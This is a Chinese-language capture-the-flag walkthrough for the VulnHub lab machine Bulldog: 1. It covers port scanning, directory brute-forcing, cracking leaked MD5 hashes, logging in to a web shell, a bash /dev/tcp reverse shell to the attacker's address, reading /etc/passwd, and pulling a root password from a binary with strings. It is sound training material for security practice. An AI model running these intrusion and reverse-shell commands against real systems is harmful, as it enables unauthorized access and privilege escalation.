靶机渗透实战2:Bulldog: 1

一、准备说明:

攻击机:WMware 中的 Kali Linux

靶机:VMware 中的 Bulldog: 1(下载地址:https://www.vulnhub.com/entry/bulldog-1,211/

目标:Escalate the privileges to root and capture the flag

二、信息收集

2.1 端口扫描,服务指纹识别:

nmap命令:nmap -p 1-65535 -A 192.168.1.104

23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

80/tcp open http WSGIServer 0.1 (Python 2.7.12)

8080/tcp open http WSGIServer 0.1 (Python 2.7.12)

2.2 DirBuser 爆破目录

http://192.168.1.104:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/notice/
/
/admin/login/
/dev/
/dev/shell/

Dirs found with a 302 response:

/admin/
/admin/logout/
/admin/auth/
/admin/auth/user/
/admin/auth/group/

--------------------------------
Files found during testing:

Files found with a 200 responce:

/static/js/jquery.min.js
/static/js/bootstrap.js

2.3 访问已爆破出来的目录:

访问:http://192.168.1.104/admin/ 

访问:http://192.168.1.104/dev/

查看源码:

MD5解密:可能对应的账号:

nick--------bulldog
sarah-------bulldoglover

 访问:http://192.168.1.104/dev/shell/

 三、漏洞挖掘:

3.1 登录账户

用 sarah-------bulldoglover 作为账号密码登录后,刷新 http://192.168.1.104/dev/shell/

 

3.2 反弹 shell

kali攻击机命令:nc -lvnp 6666

echo "bash -i >& /dev/tcp/192.168.1.102/6666 0>&1" | bash

3.3 权限提升

cat /etc/passwd

bulldogadmin:x:1000:1000:bulldogadmin,,,:/home/bulldogadmin:/bin/bash
django:x:1001:1001:,,,:/home/django:/bin/bash

 查找bulldogadmin用户的文件: find / -user bulldogadmin 2>/dev/null

 

发现值得关注的文件有:一个是note,一个是customPermissionApp。

/home/bulldogadmin/.hiddenadmindirectory/note

/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

SUPERultHimatePASHSWORDyouHCANTget 尝试去掉其中的H
SUPERultimatePASSWORDyouCANTget

执行命令:python -c 'import pty;pty.spawn("/bin/bash")'

尝试密码:sudo su -

提权成功。
